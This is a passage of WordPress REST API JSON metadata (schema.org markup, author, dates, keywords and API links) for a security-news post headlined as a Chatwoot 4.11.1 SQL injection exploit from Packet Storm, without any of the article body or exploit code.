redgem","article_published_time":"2026-06-10T10:43:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=61671#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=61671"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093","datePublished":"2026-06-10T10:43:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=61671"},"wordCount":1815,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=61671#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=61671","url":"https:\/\/zero.redgem.net\/?p=61671","name":"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-10T10:43:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=61671#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=61671"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=61671#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/61671","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=61671"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/61671\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=61671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=61671"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=61671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}